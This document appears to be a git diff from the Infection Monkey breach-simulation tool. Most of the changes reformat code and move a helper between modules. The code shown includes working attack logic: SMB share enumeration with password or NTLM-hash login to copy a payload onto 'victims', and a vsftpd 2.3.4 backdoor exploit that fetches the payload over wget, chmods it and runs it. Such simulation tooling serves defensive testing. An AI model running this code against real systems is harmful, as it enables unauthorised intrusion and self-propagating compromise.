@@ -39,39 +41,13 @@ def get_target_monkey(host):
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
+
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
-def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None,
- vulnerable_port=None):
- cmdline = ""
-
- if parent is not None:
- cmdline += f" -p {parent}"
- if tunnel is not None:
- cmdline += f" -t {tunnel}"
- if server is not None:
- cmdline += f" -s {server}"
- if depth is not None:
- if int(depth) < 0:
- depth = 0
- cmdline += f" -d {depth}"
- if location is not None:
- cmdline += f" -l {location}"
- if vulnerable_port is not None:
- cmdline += f" -vp {vulnerable_port}"
-
- return cmdline
-
-
-def build_monkey_commandline(target_host, depth, vulnerable_port, location=None):
- from infection_monkey.config import GUID
- return build_monkey_commandline_explicitly(
- GUID, target_host.default_tunnel, target_host.default_server, depth, location, vulnerable_port)
-
-
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
+
return WormConfiguration.depth
@@ -82,21 +58,26 @@ def get_monkey_dest_path(url_to_monkey):
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
- if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+
+ if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
- if 'linux' in url_to_monkey:
+ if "linux" in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
- elif 'windows-32' in url_to_monkey:
+ elif "windows-32" in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
- elif 'windows-64' in url_to_monkey:
+ elif "windows-64" in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
- LOG.error("Could not figure out what type of monkey server was trying to upload, "
- "thus destination path can not be chosen.")
+ LOG.error(
+ "Could not figure out what type of monkey server was trying to upload, "
+ "thus destination path can not be chosen."
+ )
return False
except AttributeError:
- LOG.error("Seems like monkey's source configuration property names changed. "
- "Can not get destination path to upload monkey")
+ LOG.error(
+ "Seems like monkey's source configuration property names changed. "
+ "Can not get destination path to upload monkey"
+ )
return False
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index 3857c2cc9..8d2aca2fc 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -13,13 +13,10 @@ from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport import HTTPServer, LockedHTTPServer
-__author__ = 'itamar'
-
LOG = logging.getLogger(__name__)
class HTTPTools(object):
-
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
@@ -35,11 +32,17 @@ class HTTPTools(object):
httpd.daemon = True
httpd.start()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
+ return (
+ "http://%s:%s/%s"
+ % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
+ httpd,
+ )
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
- http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
+ http_path, http_thread = HTTPTools.create_locked_transfer(
+ host, src_path, local_ip, local_port
+ )
if not http_path:
raise Exception("Http transfer creation failed.")
LOG.info("Started http server on %s", http_path)
@@ -71,7 +74,11 @@ class HTTPTools(object):
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
+ return (
+ "http://%s:%s/%s"
+ % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
+ httpd,
+ )
@staticmethod
def get_port_from_url(url: str) -> int:
@@ -88,7 +95,9 @@ class MonkeyHTTPServer(HTTPTools):
def start(self):
# Get monkey exe for host and it's path
src_path = try_get_target_monkey(self.host)
- self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
+ self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(
+ self.host, src_path
+ )
def stop(self):
if not self.http_path or not self.http_thread:
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
index 5c4415fe3..2d38b593c 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing.py
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -17,7 +17,8 @@ class Payload(object):
def get_payload(self, command=""):
"""
Returns prefixed and suffixed command (payload)
- :param command: Command to suffix/prefix. If no command is passed than objects' property is used
+ :param command: Command to suffix/prefix. If no command is passed than objects' property
+ is used
:return: prefixed and suffixed command (full payload)
"""
if not command:
@@ -45,15 +46,18 @@ class LimitedSizePayload(Payload):
def split_into_array_of_smaller_payloads(self):
if self.is_suffix_and_prefix_too_long():
- raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
- "exceeds required length of command.")
+ raise Exception(
+ "Can't split command into smaller sub-commands because commands' prefix and "
+ "suffix already "
+ "exceeds required length of command."
+ )
elif self.command == "":
return [self.prefix + self.suffix]
- wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
- commands = [self.get_payload(part)
- for part
- in wrapper.wrap(self.command)]
+ wrapper = textwrap.TextWrapper(
+ drop_whitespace=False, width=self.get_max_sub_payload_length()
+ )
+ commands = [self.get_payload(part) for part in wrapper.wrap(self.command)]
return commands
def get_max_sub_payload_length(self):
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
index e5185b266..f7a8d8cb6 100644
--- a/monkey/infection_monkey/exploit/tools/smb_tools.py
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -13,36 +13,40 @@ from infection_monkey.config import Configuration
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
-__author__ = 'itamar'
-
LOG = logging.getLogger(__name__)
class SmbTools(object):
-
@staticmethod
- def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
+ def copy_file(
+ host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
+ ):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
- smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+ smb, dialect = SmbTools.new_smb_connection(
+ host, username, password, lm_hash, ntlm_hash, timeout
+ )
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
- LOG.debug("Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s',"
- " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
- host,
- username,
- Configuration.hash_sensitive_data(password),
- Configuration.hash_sensitive_data(lm_hash),
- Configuration.hash_sensitive_data(ntlm_hash))
+ LOG.debug(
+ "Connection to %r granted guest privileges with user: %s, password (SHA-512): "
+ "'%s',"
+ " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
+ host,
+ username,
+ Configuration.hash_sensitive_data(password),
+ Configuration.hash_sensitive_data(lm_hash),
+ Configuration.hash_sensitive_data(ntlm_hash),
+ )
try:
smb.logoff()
- except:
+ except Exception:
pass
return None
@@ -50,53 +54,57 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
- LOG.debug("Error requesting server info from %r over SMB: %s",
- host, exc)
+ LOG.debug("Error requesting server info from %r over SMB: %s", host, exc)
return None
- info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
- 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
- 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
- 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
- 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
- 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
+ info = {
+ "major_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"],
+ "minor_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"],
+ "server_name": resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "),
+ "server_comment": resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "),
+ "server_user_path": resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "),
+ "simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
+ }
- LOG.debug("Connected to %r using %s:\n%s",
- host, dialect, pprint.pformat(info))
+ LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
- LOG.debug("Error enumerating server shares from %r over SMB: %s",
- host, exc)
+ LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc)
return None
- resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
+ resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"]
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
- share_name = resp[i]['shi2_netname'].strip("\0 ")
- share_path = resp[i]['shi2_path'].strip("\0 ")
- current_uses = resp[i]['shi2_current_uses']
- max_uses = resp[i]['shi2_max_uses']
+ share_name = resp[i]["shi2_netname"].strip("\0 ")
+ share_path = resp[i]["shi2_path"].strip("\0 ")
+ current_uses = resp[i]["shi2_current_uses"]
+ max_uses = resp[i]["shi2_max_uses"]
if current_uses >= max_uses:
- LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
- share_name, host)
+ LOG.debug(
+ "Skipping share '%s' on victim %r because max uses is exceeded",
+ share_name,
+ host,
+ )
continue
elif not share_path:
- LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
- share_name, host)
+ LOG.debug(
+ "Skipping share '%s' on victim %r because share path is invalid",
+ share_name,
+ host,
+ )
continue
- share_info = {'share_name': share_name,
- 'share_path': share_path}
+ share_info = {"share_name": share_name, "share_path": share_path}
if dst_path.lower().startswith(share_path.lower()):
- high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
+ high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
@@ -104,23 +112,31 @@ class SmbTools(object):
file_uploaded = False
for remote_path, share in shares:
- share_name = share['share_name']
- share_path = share['share_path']
+ share_name = share["share_name"]
+ share_path = share["share_path"]
if not smb:
- smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+ smb, _ = SmbTools.new_smb_connection(
+ host, username, password, lm_hash, ntlm_hash, timeout
+ )
if not smb:
return None
try:
- tid = smb.connectTree(share_name)
+ smb.connectTree(share_name)
except Exception as exc:
- LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
- share_name, host, exc)
+ LOG.debug(
+ "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
+ )
continue
- LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
- share_name, share_path, remote_path, host.ip_addr[0], )
+ LOG.debug(
+ "Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
+ share_name,
+ share_path,
+ remote_path,
+ host.ip_addr[0],
+ )
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
@@ -133,75 +149,87 @@ class SmbTools(object):
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
- LOG.debug("Remote monkey file is found but different, moving along with attack")
- except:
+ LOG.debug(
+ "Remote monkey file is found but different, moving along with " "attack"
+ )
+ except Exception:
pass # file isn't found on remote victim, moving on
try:
- with monkeyfs.open(src_path, 'rb') as source_file:
+ with monkeyfs.open(src_path, "rb") as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
- T1105Telem(ScanStatus.USED,
- get_interface_to_target(host.ip_addr),
- host.ip_addr,
- dst_path).send()
- LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
- src_path, share_name, share_path, host)
+ T1105Telem(
+ ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path
+ ).send()
+ LOG.info(
+ "Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
+ src_path,
+ share_name,
+ share_path,
+ host,
+ )
break
except Exception as exc:
- LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
- share_name, host, exc)
- T1105Telem(ScanStatus.SCANNED,
- get_interface_to_target(host.ip_addr),
- host.ip_addr,
- dst_path).send()
+ LOG.debug(
+ "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
+ )
+ T1105Telem(
+ ScanStatus.SCANNED,
+ get_interface_to_target(host.ip_addr),
+ host.ip_addr,
+ dst_path,
+ ).send()
continue
finally:
try:
smb.logoff()
- except:
+ except Exception:
pass
smb = None
if not file_uploaded:
- LOG.debug("Couldn't find a writable share for exploiting victim %r with "
- "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
- host,
- username,
- Configuration.hash_sensitive_data(password),
- Configuration.hash_sensitive_data(lm_hash),
- Configuration.hash_sensitive_data(ntlm_hash))
+ LOG.debug(
+ "Couldn't find a writable share for exploiting victim %r with "
+ "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
+ "SHA-512): %s",
+ host,
+ username,
+ Configuration.hash_sensitive_data(password),
+ Configuration.hash_sensitive_data(lm_hash),
+ Configuration.hash_sensitive_data(ntlm_hash),
+ )
return None
return remote_full_path
@staticmethod
- def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
+ def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
- LOG.debug("SMB connection to %r on port 445 failed,"
- " trying port 139 (%s)", host, exc)
+ LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc)
try:
- smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
+ smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139)
except Exception as exc:
- LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
- host, exc)
+ LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc)
return None, None
- dialect = {SMB_DIALECT: "SMBv1",
- SMB2_DIALECT_002: "SMBv2.0",
- SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
+ dialect = {
+ SMB_DIALECT: "SMBv1",
+ SMB2_DIALECT_002: "SMBv2.0",
+ SMB2_DIALECT_21: "SMBv2.1",
+ }.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
- smb.login(username, password, '', lm_hash, ntlm_hash)
+ smb.login(username, password, "", lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug(
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
@@ -211,7 +239,8 @@ class SmbTools(object):
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
- exc)
+ exc,
+ )
return None, dialect
smb.setTimeout(timeout)
@@ -228,10 +257,9 @@ class SmbTools(object):
@staticmethod
def get_dce_bind(smb):
- rpctransport = transport.SMBTransport(smb.getRemoteHost(),
- smb.getRemoteHost(),
- filename=r'\srvsvc',
- smb_connection=smb)
+ rpctransport = transport.SMBTransport(
+ smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb
+ )
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
diff --git a/monkey/infection_monkey/exploit/tools/test_helpers.py b/monkey/infection_monkey/exploit/tools/test_helpers.py
deleted file mode 100644
index 5d7dd422d..000000000
--- a/monkey/infection_monkey/exploit/tools/test_helpers.py
+++ /dev/null
@@ -1,28 +0,0 @@
-import unittest
-
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
-
-
-class TestHelpers(unittest.TestCase):
-
- def test_build_monkey_commandline_explicitly(self):
- test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80"
- result1 = build_monkey_commandline_explicitly(101010,
- "10.10.101.10",
- "127.127.127.127:5000",
- 0,
- "C:\\windows\\abc",
- 80)
-
- test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80"
- result2 = build_monkey_commandline_explicitly(parent="parent",
- server="127.127.127.127:5000",
- depth="0",
- vulnerable_port="80")
-
- self.assertEqual(test1, result1)
- self.assertEqual(test2, result2)
-
-
-if __name__ == '__main__':
- unittest.main()
diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py
index e1e002d72..25b4a393a 100644
--- a/monkey/infection_monkey/exploit/tools/wmi_tools.py
+++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py
@@ -5,19 +5,15 @@ from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
-__author__ = 'itamar'
-
LOG = logging.getLogger(__name__)
-class DceRpcException(Exception):
- pass
-
-
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
- super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
- (host, domain, username, password))
+ super(AccessDeniedException, self).__init__(
+ "Access is denied to %r with username %s\\%s and password %r"
+ % (host, domain, username, password)
+ )
class WmiTools(object):
@@ -34,17 +30,20 @@ class WmiTools(object):
if not domain:
domain = host.ip_addr
- dcom = DCOMConnection(host.ip_addr,
- username=username,
- password=password,
- domain=domain,
- lmhash=lmhash,
- nthash=nthash,
- oxidResolver=True)
+ dcom = DCOMConnection(
+ host.ip_addr,
+ username=username,
+ password=password,
+ domain=domain,
+ lmhash=lmhash,
+ nthash=nthash,
+ oxidResolver=True,
+ )
try:
- iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
- wmi.IID_IWbemLevel1Login)
+ iInterface = dcom.CoCreateInstanceEx(
+ wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
+ )
except Exception as exc:
dcom.disconnect()
@@ -56,9 +55,9 @@ class WmiTools(object):
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
- self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
+ self._iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self._dcom = dcom
- except:
+ except Exception:
dcom.disconnect()
raise
@@ -128,7 +127,7 @@ class WmiTools(object):
try:
while True:
try:
- next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
+ next_item = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0]
record = next_item.getProperties()
if not fields:
@@ -136,7 +135,7 @@ class WmiTools(object):
query_record = {}
for key in fields:
- query_record[key] = record[key]['value']
+ query_record[key] = record[key]["value"]
query.append(query_record)
except DCERPCSessionError as exc:
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index f2e355802..bb832358a 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -1,6 +1,7 @@
"""
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp
+ /vsftpd_234_backdoor.rb
only vulnerable version is "2.3.4"
"""
@@ -10,14 +11,20 @@ from logging import getLogger
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools
-from infection_monkey.model import CHMOD_MONKEY, DOWNLOAD_TIMEOUT, MONKEY_ARG, RUN_MONKEY, WGET_HTTP_UPLOAD
+from infection_monkey.model import (
+ CHMOD_MONKEY,
+ DOWNLOAD_TIMEOUT,
+ MONKEY_ARG,
+ RUN_MONKEY,
+ WGET_HTTP_UPLOAD,
+)
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = getLogger(__name__)
-__author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port
@@ -25,14 +32,14 @@ RECV_128 = 128 # In Bytes
UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;"
-USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
-PASSWORD = b'PASS please' # Ftp Password
+USERNAME = b"USER D3fa1t:)" # Ftp Username should end with :) to trigger the backdoor
+PASSWORD = b"PASS please" # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter):
- _TARGET_OS_TYPE = ['linux']
- _EXPLOITED_SERVICE = 'VSFTPD'
+ _TARGET_OS_TYPE = ["linux"]
+ _EXPLOITED_SERVICE = "VSFTPD"
def __init__(self, host):
self._update_timestamp = 0
@@ -44,15 +51,15 @@ class VSFTPDExploiter(HostExploiter):
s.connect((ip_addr, port))
return True
except socket.error as e:
- LOG.info('Failed to connect to %s: %s', self.host.ip_addr, str(e))
+ LOG.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
return False
def socket_send_recv(self, s, message):
try:
s.send(message)
- return s.recv(RECV_128).decode('utf-8')
+ return s.recv(RECV_128).decode("utf-8")
except socket.error as e:
- LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
+ LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
return False
def socket_send(self, s, message):
@@ -60,7 +67,7 @@ class VSFTPDExploiter(HostExploiter):
s.send(message)
return True
except socket.error as e:
- LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
+ LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
return False
def _exploit_host(self):
@@ -68,32 +75,32 @@ class VSFTPDExploiter(HostExploiter):
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
- ftp_socket.recv(RECV_128).decode('utf-8')
+ ftp_socket.recv(RECV_128).decode("utf-8")
- if self.socket_send_recv(ftp_socket, USERNAME + b'\n'):
+ if self.socket_send_recv(ftp_socket, USERNAME + b"\n"):
time.sleep(FTP_TIME_BUFFER)
- self.socket_send(ftp_socket, PASSWORD + b'\n')
+ self.socket_send(ftp_socket, PASSWORD + b"\n")
ftp_socket.close()
- LOG.info('Backdoor Enabled, Now we can run commands')
+ LOG.info("Backdoor Enabled, Now we can run commands")
else:
- LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
+ LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr)
return False
- LOG.info('Attempting to connect to backdoor...')
+ LOG.info("Attempting to connect to backdoor...")
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
- LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
+ LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr)
- uname_m = str.encode(UNAME_M + '\n')
+ uname_m = str.encode(UNAME_M + "\n")
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
- LOG.info('Response for uname -m: %s', response)
- if '' != response.lower().strip():
+ LOG.info("Response for uname -m: %s", response)
+ if "" != response.lower().strip():
# command execution is successful
- self.host.os['machine'] = response.lower().strip()
- self.host.os['type'] = 'linux'
+ self.host.os["machine"] = response.lower().strip()
+ self.host.os["type"] = "linux"
else:
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
@@ -111,39 +118,48 @@ class VSFTPDExploiter(HostExploiter):
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
- download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
- download_command = str.encode(str(download_command) + '\n')
+ download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
+ download_command = str.encode(str(download_command) + "\n")
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
- LOG.info('Monkey is now Downloaded ')
+ LOG.info("Monkey is now Downloaded ")
else:
- LOG.error('Failed to download monkey at %s', self.host.ip_addr)
+ LOG.error("Failed to download monkey at %s", self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
# Change permissions
- change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
- change_permission = str.encode(str(change_permission) + '\n')
+ change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
+ change_permission = str.encode(str(change_permission) + "\n")
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
# Run monkey on the machine
- parameters = build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- vulnerable_port=FTP_PORT)
- run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
+ parameters = build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
+ )
+ run_monkey = RUN_MONKEY % {
+ "monkey_path": monkey_path,
+ "monkey_type": MONKEY_ARG,
+ "parameters": parameters,
+ }
# Set unlimited to memory
- # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
+ # we don't have to revert the ulimit because it just applies to the shell obtained by our
+ # exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
- run_monkey = str.encode(str(run_monkey) + '\n')
+ run_monkey = str.encode(str(run_monkey) + "\n")
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
- LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
- self.host, run_monkey)
+ LOG.info(
+ "Executed monkey '%s' on remote victim %r (cmdline=%r)",
+ self._config.dropper_target_path_linux,
+ self.host,
+ run_monkey,
+ )
self.add_executed_cmd(run_monkey.decode())
return True
else:
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index d12e4eaa9..ad39b3b8b 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -5,16 +5,26 @@ from posixpath import join
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools
-from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CHMOD_MONKEY, DOWNLOAD_TIMEOUT, DROPPER_ARG,
- GET_ARCH_LINUX, GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, POWERSHELL_HTTP_UPLOAD,
- RUN_MONKEY, WGET_HTTP_UPLOAD)
-from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
+from infection_monkey.model import (
+ BITSADMIN_CMDLINE_HTTP,
+ CHECK_COMMAND,
+ CHMOD_MONKEY,
+ DOWNLOAD_TIMEOUT,
+ DROPPER_ARG,
+ GET_ARCH_LINUX,
+ GET_ARCH_WINDOWS,
+ ID_STRING,
+ MONKEY_ARG,
+ POWERSHELL_HTTP_UPLOAD,
+ RUN_MONKEY,
+ WGET_HTTP_UPLOAD,
+)
+from infection_monkey.network.tools import tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
-
-__author__ = 'VakarisZ'
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
# Command used to check if monkeys already exists
@@ -26,7 +36,6 @@ WIN_ARCH_64 = "64"
class WebRCE(HostExploiter):
-
def __init__(self, host, monkey_target_paths=None):
"""
:param host: Host that we'll attack
@@ -37,9 +46,11 @@ class WebRCE(HostExploiter):
if monkey_target_paths:
self.monkey_target_paths = monkey_target_paths
else:
- self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
- 'win32': self._config.dropper_target_path_win_32,
- 'win64': self._config.dropper_target_path_win_64}
+ self.monkey_target_paths = {
+ "linux": self._config.dropper_target_path_linux,
+ "win32": self._config.dropper_target_path_win_32,
+ "win64": self._config.dropper_target_path_win_64,
+ }
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist
self.vulnerable_urls = []
@@ -53,22 +64,28 @@ class WebRCE(HostExploiter):
"""
exploit_config = {}
- # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
+ # dropper: If true monkey will use dropper parameter that will detach monkey's process
+ # and try to copy
# it's file to the default destination path.
